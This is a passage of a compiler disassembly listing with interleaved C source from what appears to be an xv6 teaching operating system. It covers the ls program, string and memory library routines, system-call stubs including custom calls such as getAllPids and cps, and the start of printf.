155: 8b 95 e4 fd ff ff mov -0x21c(%ebp),%edx
15b: 8b b5 dc fd ff ff mov -0x224(%ebp),%esi
161: 57 push %edi
162: 89 95 b4 fd ff ff mov %edx,-0x24c(%ebp)
168: e8 f3 fe ff ff call 60 <fmtname>
16d: 8b 95 b4 fd ff ff mov -0x24c(%ebp),%edx
173: 59 pop %ecx
174: 5f pop %edi
175: 52 push %edx
176: 56 push %esi
177: 6a 02 push $0x2
179: 50 push %eax
17a: 68 38 0a 00 00 push $0xa38
17f: 6a 01 push $0x1
181: e8 6a 05 00 00 call 6f0 <printf>
break;
186: 83 c4 20 add $0x20,%esp
}
printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size);
}
break;
}
close(fd);
189: 83 ec 0c sub $0xc,%esp
18c: 53 push %ebx
18d: e8 18 04 00 00 call 5aa <close>
192: 83 c4 10 add $0x10,%esp
}
195: 8d 65 f4 lea -0xc(%ebp),%esp
198: 5b pop %ebx
199: 5e pop %esi
19a: 5f pop %edi
19b: 5d pop %ebp
19c: c3 ret
19d: 8d 76 00 lea 0x0(%esi),%esi
case T_FILE:
printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size);
break;
case T_DIR:
if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){
1a0: 83 ec 0c sub $0xc,%esp
1a3: 57 push %edi
1a4: e8 17 02 00 00 call 3c0 <strlen>
1a9: 83 c0 10 add $0x10,%eax
1ac: 83 c4 10 add $0x10,%esp
1af: 3d 00 02 00 00 cmp $0x200,%eax
1b4: 0f 87 26 01 00 00 ja 2e0 <ls+0x1e0>
printf(1, "ls: path too long\n");
break;
}
strcpy(buf, path);
1ba: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax
1c0: 83 ec 08 sub $0x8,%esp
1c3: 57 push %edi
1c4: 8d bd c4 fd ff ff lea -0x23c(%ebp),%edi
1ca: 50 push %eax
1cb: e8 70 01 00 00 call 340 <strcpy>
p = buf+strlen(buf);
1d0: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax
1d6: 89 04 24 mov %eax,(%esp)
1d9: e8 e2 01 00 00 call 3c0 <strlen>
1de: 8d 8d e8 fd ff ff lea -0x218(%ebp),%ecx
*p++ = '/';
while(read(fd, &de, sizeof(de)) == sizeof(de)){
1e4: 83 c4 10 add $0x10,%esp
if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){
printf(1, "ls: path too long\n");
break;
}
strcpy(buf, path);
p = buf+strlen(buf);
1e7: 01 c8 add %ecx,%eax
*p++ = '/';
1e9: 8d 48 01 lea 0x1(%eax),%ecx
if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){
printf(1, "ls: path too long\n");
break;
}
strcpy(buf, path);
p = buf+strlen(buf);
1ec: 89 85 a8 fd ff ff mov %eax,-0x258(%ebp)
*p++ = '/';
1f2: c6 00 2f movb $0x2f,(%eax)
1f5: 89 8d a4 fd ff ff mov %ecx,-0x25c(%ebp)
1fb: 90 nop
1fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while(read(fd, &de, sizeof(de)) == sizeof(de)){
200: 83 ec 04 sub $0x4,%esp
203: 6a 10 push $0x10
205: 57 push %edi
206: 53 push %ebx
207: e8 8e 03 00 00 call 59a <read>
20c: 83 c4 10 add $0x10,%esp
20f: 83 f8 10 cmp $0x10,%eax
212: 0f 85 71 ff ff ff jne 189 <ls+0x89>
if(de.inum == 0)
218: 66 83 bd c4 fd ff ff cmpw $0x0,-0x23c(%ebp)
21f: 00
220: 74 de je 200 <ls+0x100>
continue;
memmove(p, de.name, DIRSIZ);
222: 8d 85 c6 fd ff ff lea -0x23a(%ebp),%eax
228: 83 ec 04 sub $0x4,%esp
22b: 6a 0e push $0xe
22d: 50 push %eax
22e: ff b5 a4 fd ff ff pushl -0x25c(%ebp)
234: e8 17 03 00 00 call 550 <memmove>
p[DIRSIZ] = 0;
239: 8b 85 a8 fd ff ff mov -0x258(%ebp),%eax
23f: c6 40 0f 00 movb $0x0,0xf(%eax)
if(stat(buf, &st) < 0){
243: 58 pop %eax
244: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax
24a: 5a pop %edx
24b: 56 push %esi
24c: 50 push %eax
24d: e8 6e 02 00 00 call 4c0 <stat>
252: 83 c4 10 add $0x10,%esp
255: 85 c0 test %eax,%eax
257: 0f 88 c3 00 00 00 js 320 <ls+0x220>
printf(1, "ls: cannot stat %s\n", buf);
continue;
}
printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size);
25d: 8b 8d e4 fd ff ff mov -0x21c(%ebp),%ecx
263: 0f bf 85 d4 fd ff ff movswl -0x22c(%ebp),%eax
26a: 83 ec 0c sub $0xc,%esp
26d: 8b 95 dc fd ff ff mov -0x224(%ebp),%edx
273: 89 8d ac fd ff ff mov %ecx,-0x254(%ebp)
279: 8d 8d e8 fd ff ff lea -0x218(%ebp),%ecx
27f: 89 95 b0 fd ff ff mov %edx,-0x250(%ebp)
285: 89 85 b4 fd ff ff mov %eax,-0x24c(%ebp)
28b: 51 push %ecx
28c: e8 cf fd ff ff call 60 <fmtname>
291: 5a pop %edx
292: 8b 95 b0 fd ff ff mov -0x250(%ebp),%edx
298: 59 pop %ecx
299: 8b 8d ac fd ff ff mov -0x254(%ebp),%ecx
29f: 51 push %ecx
2a0: 52 push %edx
2a1: ff b5 b4 fd ff ff pushl -0x24c(%ebp)
2a7: 50 push %eax
2a8: 68 38 0a 00 00 push $0xa38
2ad: 6a 01 push $0x1
2af: e8 3c 04 00 00 call 6f0 <printf>
2b4: 83 c4 20 add $0x20,%esp
2b7: e9 44 ff ff ff jmp 200 <ls+0x100>
2bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
int fd;
struct dirent de;
struct stat st;
if((fd = open(path, 0)) < 0){
printf(2, "ls: cannot open %s\n", path);
2c0: 83 ec 04 sub $0x4,%esp
2c3: 57 push %edi
2c4: 68 10 0a 00 00 push $0xa10
2c9: 6a 02 push $0x2
2cb: e8 20 04 00 00 call 6f0 <printf>
return;
2d0: 83 c4 10 add $0x10,%esp
printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size);
}
break;
}
close(fd);
}
2d3: 8d 65 f4 lea -0xc(%ebp),%esp
2d6: 5b pop %ebx
2d7: 5e pop %esi
2d8: 5f pop %edi
2d9: 5d pop %ebp
2da: c3 ret
2db: 90 nop
2dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size);
break;
case T_DIR:
if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){
printf(1, "ls: path too long\n");
2e0: 83 ec 08 sub $0x8,%esp
2e3: 68 45 0a 00 00 push $0xa45
2e8: 6a 01 push $0x1
2ea: e8 01 04 00 00 call 6f0 <printf>
break;
2ef: 83 c4 10 add $0x10,%esp
2f2: e9 92 fe ff ff jmp 189 <ls+0x89>
2f7: 89 f6 mov %esi,%esi
2f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
printf(2, "ls: cannot open %s\n", path);
return;
}
if(fstat(fd, &st) < 0){
printf(2, "ls: cannot stat %s\n", path);
300: 83 ec 04 sub $0x4,%esp
303: 57 push %edi
304: 68 24 0a 00 00 push $0xa24
309: 6a 02 push $0x2
30b: e8 e0 03 00 00 call 6f0 <printf>
close(fd);
310: 89 1c 24 mov %ebx,(%esp)
313: e8 92 02 00 00 call 5aa <close>
return;
318: 83 c4 10 add $0x10,%esp
31b: e9 75 fe ff ff jmp 195 <ls+0x95>
if(de.inum == 0)
continue;
memmove(p, de.name, DIRSIZ);
p[DIRSIZ] = 0;
if(stat(buf, &st) < 0){
printf(1, "ls: cannot stat %s\n", buf);
320: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax
326: 83 ec 04 sub $0x4,%esp
329: 50 push %eax
32a: 68 24 0a 00 00 push $0xa24
32f: 6a 01 push $0x1
331: e8 ba 03 00 00 call 6f0 <printf>
continue;
336: 83 c4 10 add $0x10,%esp
339: e9 c2 fe ff ff jmp 200 <ls+0x100>
33e: 66 90 xchg %ax,%ax
00000340 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
340: 55 push %ebp
341: 89 e5 mov %esp,%ebp
343: 53 push %ebx
344: 8b 45 08 mov 0x8(%ebp),%eax
347: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
34a: 89 c2 mov %eax,%edx
34c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
350: 83 c1 01 add $0x1,%ecx
353: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
357: 83 c2 01 add $0x1,%edx
35a: 84 db test %bl,%bl
35c: 88 5a ff mov %bl,-0x1(%edx)
35f: 75 ef jne 350 <strcpy+0x10>
;
return os;
}
361: 5b pop %ebx
362: 5d pop %ebp
363: c3 ret
364: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
36a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000370 <strcmp>:
int
strcmp(const char *p, const char *q)
{
370: 55 push %ebp
371: 89 e5 mov %esp,%ebp
373: 56 push %esi
374: 53 push %ebx
375: 8b 55 08 mov 0x8(%ebp),%edx
378: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
37b: 0f b6 02 movzbl (%edx),%eax
37e: 0f b6 19 movzbl (%ecx),%ebx
381: 84 c0 test %al,%al
383: 75 1e jne 3a3 <strcmp+0x33>
385: eb 29 jmp 3b0 <strcmp+0x40>
387: 89 f6 mov %esi,%esi
389: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
390: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
393: 0f b6 02 movzbl (%edx),%eax
p++, q++;
396: 8d 71 01 lea 0x1(%ecx),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
399: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
39d: 84 c0 test %al,%al
39f: 74 0f je 3b0 <strcmp+0x40>
3a1: 89 f1 mov %esi,%ecx
3a3: 38 d8 cmp %bl,%al
3a5: 74 e9 je 390 <strcmp+0x20>
p++, q++;
return (uchar)*p - (uchar)*q;
3a7: 29 d8 sub %ebx,%eax
}
3a9: 5b pop %ebx
3aa: 5e pop %esi
3ab: 5d pop %ebp
3ac: c3 ret
3ad: 8d 76 00 lea 0x0(%esi),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
3b0: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
3b2: 29 d8 sub %ebx,%eax
}
3b4: 5b pop %ebx
3b5: 5e pop %esi
3b6: 5d pop %ebp
3b7: c3 ret
3b8: 90 nop
3b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000003c0 <strlen>:
uint
strlen(char *s)
{
3c0: 55 push %ebp
3c1: 89 e5 mov %esp,%ebp
3c3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
3c6: 80 39 00 cmpb $0x0,(%ecx)
3c9: 74 12 je 3dd <strlen+0x1d>
3cb: 31 d2 xor %edx,%edx
3cd: 8d 76 00 lea 0x0(%esi),%esi
3d0: 83 c2 01 add $0x1,%edx
3d3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
3d7: 89 d0 mov %edx,%eax
3d9: 75 f5 jne 3d0 <strlen+0x10>
;
return n;
}
3db: 5d pop %ebp
3dc: c3 ret
uint
strlen(char *s)
{
int n;
for(n = 0; s[n]; n++)
3dd: 31 c0 xor %eax,%eax
;
return n;
}
3df: 5d pop %ebp
3e0: c3 ret
3e1: eb 0d jmp 3f0 <memset>
3e3: 90 nop
3e4: 90 nop
3e5: 90 nop
3e6: 90 nop
3e7: 90 nop
3e8: 90 nop
3e9: 90 nop
3ea: 90 nop
3eb: 90 nop
3ec: 90 nop
3ed: 90 nop
3ee: 90 nop
3ef: 90 nop
000003f0 <memset>:
void*
memset(void *dst, int c, uint n)
{
3f0: 55 push %ebp
3f1: 89 e5 mov %esp,%ebp
3f3: 57 push %edi
3f4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
3f7: 8b 4d 10 mov 0x10(%ebp),%ecx
3fa: 8b 45 0c mov 0xc(%ebp),%eax
3fd: 89 d7 mov %edx,%edi
3ff: fc cld
400: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
402: 89 d0 mov %edx,%eax
404: 5f pop %edi
405: 5d pop %ebp
406: c3 ret
407: 89 f6 mov %esi,%esi
409: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000410 <strchr>:
char*
strchr(const char *s, char c)
{
410: 55 push %ebp
411: 89 e5 mov %esp,%ebp
413: 53 push %ebx
414: 8b 45 08 mov 0x8(%ebp),%eax
417: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
41a: 0f b6 10 movzbl (%eax),%edx
41d: 84 d2 test %dl,%dl
41f: 74 1d je 43e <strchr+0x2e>
if(*s == c)
421: 38 d3 cmp %dl,%bl
423: 89 d9 mov %ebx,%ecx
425: 75 0d jne 434 <strchr+0x24>
427: eb 17 jmp 440 <strchr+0x30>
429: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
430: 38 ca cmp %cl,%dl
432: 74 0c je 440 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
434: 83 c0 01 add $0x1,%eax
437: 0f b6 10 movzbl (%eax),%edx
43a: 84 d2 test %dl,%dl
43c: 75 f2 jne 430 <strchr+0x20>
if(*s == c)
return (char*)s;
return 0;
43e: 31 c0 xor %eax,%eax
}
440: 5b pop %ebx
441: 5d pop %ebp
442: c3 ret
443: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
449: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000450 <gets>:
char*
gets(char *buf, int max)
{
450: 55 push %ebp
451: 89 e5 mov %esp,%ebp
453: 57 push %edi
454: 56 push %esi
455: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
456: 31 f6 xor %esi,%esi
cc = read(0, &c, 1);
458: 8d 7d e7 lea -0x19(%ebp),%edi
return 0;
}
char*
gets(char *buf, int max)
{
45b: 83 ec 1c sub $0x1c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
45e: eb 29 jmp 489 <gets+0x39>
cc = read(0, &c, 1);
460: 83 ec 04 sub $0x4,%esp
463: 6a 01 push $0x1
465: 57 push %edi
466: 6a 00 push $0x0
468: e8 2d 01 00 00 call 59a <read>
if(cc < 1)
46d: 83 c4 10 add $0x10,%esp
470: 85 c0 test %eax,%eax
472: 7e 1d jle 491 <gets+0x41>
break;
buf[i++] = c;
474: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
478: 8b 55 08 mov 0x8(%ebp),%edx
47b: 89 de mov %ebx,%esi
if(c == '\n' || c == '\r')
47d: 3c 0a cmp $0xa,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
47f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
483: 74 1b je 4a0 <gets+0x50>
485: 3c 0d cmp $0xd,%al
487: 74 17 je 4a0 <gets+0x50>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
489: 8d 5e 01 lea 0x1(%esi),%ebx
48c: 3b 5d 0c cmp 0xc(%ebp),%ebx
48f: 7c cf jl 460 <gets+0x10>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
491: 8b 45 08 mov 0x8(%ebp),%eax
494: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
498: 8d 65 f4 lea -0xc(%ebp),%esp
49b: 5b pop %ebx
49c: 5e pop %esi
49d: 5f pop %edi
49e: 5d pop %ebp
49f: c3 ret
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
4a0: 8b 45 08 mov 0x8(%ebp),%eax
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
4a3: 89 de mov %ebx,%esi
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
4a5: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
4a9: 8d 65 f4 lea -0xc(%ebp),%esp
4ac: 5b pop %ebx
4ad: 5e pop %esi
4ae: 5f pop %edi
4af: 5d pop %ebp
4b0: c3 ret
4b1: eb 0d jmp 4c0 <stat>
4b3: 90 nop
4b4: 90 nop
4b5: 90 nop
4b6: 90 nop
4b7: 90 nop
4b8: 90 nop
4b9: 90 nop
4ba: 90 nop
4bb: 90 nop
4bc: 90 nop
4bd: 90 nop
4be: 90 nop
4bf: 90 nop
000004c0 <stat>:
int
stat(char *n, struct stat *st)
{
4c0: 55 push %ebp
4c1: 89 e5 mov %esp,%ebp
4c3: 56 push %esi
4c4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
4c5: 83 ec 08 sub $0x8,%esp
4c8: 6a 00 push $0x0
4ca: ff 75 08 pushl 0x8(%ebp)
4cd: e8 f0 00 00 00 call 5c2 <open>
if(fd < 0)
4d2: 83 c4 10 add $0x10,%esp
4d5: 85 c0 test %eax,%eax
4d7: 78 27 js 500 <stat+0x40>
return -1;
r = fstat(fd, st);
4d9: 83 ec 08 sub $0x8,%esp
4dc: ff 75 0c pushl 0xc(%ebp)
4df: 89 c3 mov %eax,%ebx
4e1: 50 push %eax
4e2: e8 f3 00 00 00 call 5da <fstat>
close(fd);
4e7: 89 1c 24 mov %ebx,(%esp)
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
r = fstat(fd, st);
4ea: 89 c6 mov %eax,%esi
close(fd);
4ec: e8 b9 00 00 00 call 5aa <close>
return r;
4f1: 83 c4 10 add $0x10,%esp
}
4f4: 8d 65 f8 lea -0x8(%ebp),%esp
4f7: 89 f0 mov %esi,%eax
4f9: 5b pop %ebx
4fa: 5e pop %esi
4fb: 5d pop %ebp
4fc: c3 ret
4fd: 8d 76 00 lea 0x0(%esi),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
500: be ff ff ff ff mov $0xffffffff,%esi
505: eb ed jmp 4f4 <stat+0x34>
507: 89 f6 mov %esi,%esi
509: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000510 <atoi>:
return r;
}
int
atoi(const char *s)
{
510: 55 push %ebp
511: 89 e5 mov %esp,%ebp
513: 53 push %ebx
514: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
517: 0f be 11 movsbl (%ecx),%edx
51a: 8d 42 d0 lea -0x30(%edx),%eax
51d: 3c 09 cmp $0x9,%al
51f: b8 00 00 00 00 mov $0x0,%eax
524: 77 1f ja 545 <atoi+0x35>
526: 8d 76 00 lea 0x0(%esi),%esi
529: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
530: 8d 04 80 lea (%eax,%eax,4),%eax
533: 83 c1 01 add $0x1,%ecx
536: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
53a: 0f be 11 movsbl (%ecx),%edx
53d: 8d 5a d0 lea -0x30(%edx),%ebx
540: 80 fb 09 cmp $0x9,%bl
543: 76 eb jbe 530 <atoi+0x20>
n = n*10 + *s++ - '0';
return n;
}
545: 5b pop %ebx
546: 5d pop %ebp
547: c3 ret
548: 90 nop
549: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000550 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
550: 55 push %ebp
551: 89 e5 mov %esp,%ebp
553: 56 push %esi
554: 53 push %ebx
555: 8b 5d 10 mov 0x10(%ebp),%ebx
558: 8b 45 08 mov 0x8(%ebp),%eax
55b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
55e: 85 db test %ebx,%ebx
560: 7e 14 jle 576 <memmove+0x26>
562: 31 d2 xor %edx,%edx
564: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
568: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
56c: 88 0c 10 mov %cl,(%eax,%edx,1)
56f: 83 c2 01 add $0x1,%edx
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
572: 39 da cmp %ebx,%edx
574: 75 f2 jne 568 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
576: 5b pop %ebx
577: 5e pop %esi
578: 5d pop %ebp
579: c3 ret
0000057a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
57a: b8 01 00 00 00 mov $0x1,%eax
57f: cd 40 int $0x40
581: c3 ret
00000582 <exit>:
SYSCALL(exit)
582: b8 02 00 00 00 mov $0x2,%eax
587: cd 40 int $0x40
589: c3 ret
0000058a <wait>:
SYSCALL(wait)
58a: b8 03 00 00 00 mov $0x3,%eax
58f: cd 40 int $0x40
591: c3 ret
00000592 <pipe>:
SYSCALL(pipe)
592: b8 04 00 00 00 mov $0x4,%eax
597: cd 40 int $0x40
599: c3 ret
0000059a <read>:
SYSCALL(read)
59a: b8 05 00 00 00 mov $0x5,%eax
59f: cd 40 int $0x40
5a1: c3 ret
000005a2 <write>:
SYSCALL(write)
5a2: b8 10 00 00 00 mov $0x10,%eax
5a7: cd 40 int $0x40
5a9: c3 ret
000005aa <close>:
SYSCALL(close)
5aa: b8 15 00 00 00 mov $0x15,%eax
5af: cd 40 int $0x40
5b1: c3 ret
000005b2 <kill>:
SYSCALL(kill)
5b2: b8 06 00 00 00 mov $0x6,%eax
5b7: cd 40 int $0x40
5b9: c3 ret
000005ba <exec>:
SYSCALL(exec)
5ba: b8 07 00 00 00 mov $0x7,%eax
5bf: cd 40 int $0x40
5c1: c3 ret
000005c2 <open>:
SYSCALL(open)
5c2: b8 0f 00 00 00 mov $0xf,%eax
5c7: cd 40 int $0x40
5c9: c3 ret
000005ca <mknod>:
SYSCALL(mknod)
5ca: b8 11 00 00 00 mov $0x11,%eax
5cf: cd 40 int $0x40
5d1: c3 ret
000005d2 <unlink>:
SYSCALL(unlink)
5d2: b8 12 00 00 00 mov $0x12,%eax
5d7: cd 40 int $0x40
5d9: c3 ret
000005da <fstat>:
SYSCALL(fstat)
5da: b8 08 00 00 00 mov $0x8,%eax
5df: cd 40 int $0x40
5e1: c3 ret
000005e2 <link>:
SYSCALL(link)
5e2: b8 13 00 00 00 mov $0x13,%eax
5e7: cd 40 int $0x40
5e9: c3 ret
000005ea <mkdir>:
SYSCALL(mkdir)
5ea: b8 14 00 00 00 mov $0x14,%eax
5ef: cd 40 int $0x40
5f1: c3 ret
000005f2 <chdir>:
SYSCALL(chdir)
5f2: b8 09 00 00 00 mov $0x9,%eax
5f7: cd 40 int $0x40
5f9: c3 ret
000005fa <dup>:
SYSCALL(dup)
5fa: b8 0a 00 00 00 mov $0xa,%eax
5ff: cd 40 int $0x40
601: c3 ret
00000602 <getpid>:
SYSCALL(getpid)
602: b8 0b 00 00 00 mov $0xb,%eax
607: cd 40 int $0x40
609: c3 ret
0000060a <getppid>:
SYSCALL(getppid)
60a: b8 19 00 00 00 mov $0x19,%eax
60f: cd 40 int $0x40
611: c3 ret
00000612 <getAllPids>:
SYSCALL(getAllPids)
612: b8 17 00 00 00 mov $0x17,%eax
617: cd 40 int $0x40
619: c3 ret
0000061a <shutdown>:
SYSCALL(shutdown)
61a: b8 18 00 00 00 mov $0x18,%eax
61f: cd 40 int $0x40
621: c3 ret
00000622 <sbrk>:
SYSCALL(sbrk)
622: b8 0c 00 00 00 mov $0xc,%eax
627: cd 40 int $0x40
629: c3 ret
0000062a <sleep>:
SYSCALL(sleep)
62a: b8 0d 00 00 00 mov $0xd,%eax
62f: cd 40 int $0x40
631: c3 ret
00000632 <uptime>:
SYSCALL(uptime)
632: b8 0e 00 00 00 mov $0xe,%eax
637: cd 40 int $0x40
639: c3 ret
0000063a <cps>:
SYSCALL(cps)
63a: b8 16 00 00 00 mov $0x16,%eax
63f: cd 40 int $0x40
641: c3 ret
642: 66 90 xchg %ax,%ax
644: 66 90 xchg %ax,%ax
646: 66 90 xchg %ax,%ax
648: 66 90 xchg %ax,%ax
64a: 66 90 xchg %ax,%ax
64c: 66 90 xchg %ax,%ax
64e: 66 90 xchg %ax,%ax
00000650 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
650: 55 push %ebp
651: 89 e5 mov %esp,%ebp
653: 57 push %edi
654: 56 push %esi
655: 53 push %ebx
656: 89 c6 mov %eax,%esi
658: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
65b: 8b 5d 08 mov 0x8(%ebp),%ebx
65e: 85 db test %ebx,%ebx
660: 74 7e je 6e0 <printint+0x90>
662: 89 d0 mov %edx,%eax
664: c1 e8 1f shr $0x1f,%eax
667: 84 c0 test %al,%al
669: 74 75 je 6e0 <printint+0x90>
neg = 1;
x = -xx;
66b: 89 d0 mov %edx,%eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
66d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
674: f7 d8 neg %eax
676: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
679: 31 ff xor %edi,%edi
67b: 8d 5d d7 lea -0x29(%ebp),%ebx
67e: 89 ce mov %ecx,%esi
680: eb 08 jmp 68a <printint+0x3a>
682: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
688: 89 cf mov %ecx,%edi
68a: 31 d2 xor %edx,%edx
68c: 8d 4f 01 lea 0x1(%edi),%ecx
68f: f7 f6 div %esi
691: 0f b6 92 64 0a 00 00 movzbl 0xa64(%edx),%edx
}while((x /= base) != 0);
698: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
69a: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
69d: 75 e9 jne 688 <printint+0x38>
if(neg)
69f: 8b 45 c4 mov -0x3c(%ebp),%eax
6a2: 8b 75 c0 mov -0x40(%ebp),%esi
6a5: 85 c0 test %eax,%eax
6a7: 74 08 je 6b1 <printint+0x61>
buf[i++] = '-';
6a9: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
6ae: 8d 4f 02 lea 0x2(%edi),%ecx
while(--i >= 0)
6b1: 8d 79 ff lea -0x1(%ecx),%edi
6b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
6b8: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
6bd: 83 ec 04 sub $0x4,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
6c0: 83 ef 01 sub $0x1,%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
6c3: 6a 01 push $0x1
6c5: 53 push %ebx
6c6: 56 push %esi
6c7: 88 45 d7 mov %al,-0x29(%ebp)
6ca: e8 d3 fe ff ff call 5a2 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
6cf: 83 c4 10 add $0x10,%esp
6d2: 83 ff ff cmp $0xffffffff,%edi
6d5: 75 e1 jne 6b8 <printint+0x68>
putc(fd, buf[i]);
}
6d7: 8d 65 f4 lea -0xc(%ebp),%esp
6da: 5b pop %ebx
6db: 5e pop %esi
6dc: 5f pop %edi
6dd: 5d pop %ebp
6de: c3 ret
6df: 90 nop
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
} else {
x = xx;
6e0: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
6e2: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
6e9: eb 8b jmp 676 <printint+0x26>
6eb: 90 nop
6ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000006f0 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
6f0: 55 push %ebp
6f1: 89 e5 mov %esp,%ebp
6f3: 57 push %edi
6f4: 56 push %esi
6f5: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
6f6: 8d 45 10 lea 0x10(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
6f9: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
6fc: 8b 75 0c mov 0xc(%ebp),%esi
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
6ff: 8b 7d 08 mov 0x8(%ebp),%edi
int c, i, state;
uint *ap;
state = 0;
